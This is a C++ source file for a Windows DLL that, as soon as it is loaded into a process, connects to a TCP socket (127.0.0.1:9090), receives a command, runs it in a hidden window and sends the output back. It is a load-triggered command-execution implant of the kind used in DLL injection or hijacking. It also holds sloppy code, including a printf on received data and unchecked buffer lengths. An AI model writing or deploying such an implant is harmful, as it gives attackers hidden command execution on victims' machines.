// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <stdlib.h>
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>

#pragma comment(lib, "ws2_32.lib")

DWORD TransferThread(LPVOID lpParam)
{
	SOCKET connect_sock = INVALID_SOCKET;
	int send_len = 0;
	int recv_len = 0;
	int ret_value = NULL;
	char* recv_buf = NULL;
	sockaddr_in connect_addr = { 0 };

	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0) 
	{
		goto EXIT;
	}

	connect_sock = socket(AF_INET, SOCK_STREAM, 0);
	if (connect_sock == INVALID_SOCKET)
	{ 
		goto EXIT;
	}

	connect_addr.sin_family = AF_INET;
	connect_addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	connect_addr.sin_port = htons(9090);

	ret_value = connect(connect_sock, (sockaddr*)&connect_addr, sizeof(sockaddr_in));
	
	recv(connect_sock, (char*)&recv_len, sizeof(recv_len), 0);
	recv_buf = new char[recv_len + 1];

	if (recv_buf != NULL)
	{
		printf(recv_buf);
	}
	memset(recv_buf, 0, recv_len + 1);

	recv(connect_sock, recv_buf, recv_len, 0);


EXIT:
	if (connect_sock != INVALID_SOCKET)
	{
		closesocket(connect_sock);
	}

	WSACleanup();

	return 0;
}


void CreateCMD()
{
	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	BYTE					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		fflush(stdout);
		fflush(stderr);
		ExitProcess(5);
	}
	
	SOCKET connect_sock = INVALID_SOCKET;
	int send_len = 0;
	int recv_len = 0;
	int ret_value = NULL;
	TCHAR* recv_buf = NULL;
	sockaddr_in connect_addr = { 0 };


	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0) 
	{
		goto EXIT;
	}

	connect_sock = socket(AF_INET, SOCK_STREAM, 0);
	if (connect_sock == INVALID_SOCKET)
	{ 
		goto EXIT;
	}

	connect_addr.sin_family = AF_INET;
	connect_addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	connect_addr.sin_port = htons(9090);

	ret_value = connect(connect_sock, (sockaddr*)&connect_addr, sizeof(sockaddr_in));

	recv(connect_sock, (char*)&recv_len, sizeof(recv_len), 0);
	recv_buf = (TCHAR*)new char[recv_len];

	if (recv_buf == NULL)
	{
		goto EXIT;
	}
	memset(recv_buf, 0, recv_len);

	recv(connect_sock, (char*)recv_buf, recv_len, 0);

	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };

	lstrcpyW(cmd, recv_buf);
	
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		fflush(stdout);
		fflush(stderr);
		CloseHandle(hWrite);
		CloseHandle(hRead);
		//wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
		//ExitProcess(6);
		goto EXIT;
	}
	CloseHandle(hWrite);

	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}


	send(connect_sock, (char*)&br, sizeof(br),0);
	send(connect_sock, (char*)buf, br,0);
	

	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);

EXIT:
	if (connect_sock != INVALID_SOCKET)
	{
		closesocket(connect_sock);
	}
	
	if (recv_buf != NULL)
	{
		delete[] recv_buf;
	}
	WSACleanup();

	return;
}



void OnProcessAttach()
{
// 	system("calc");
// 	OutputDebugStringA("calc startup success!!!!");
// 	Sleep(10000);
// 	ExitProcess(0);


	CreateCMD();
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		OnProcessAttach();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return FALSE;
}

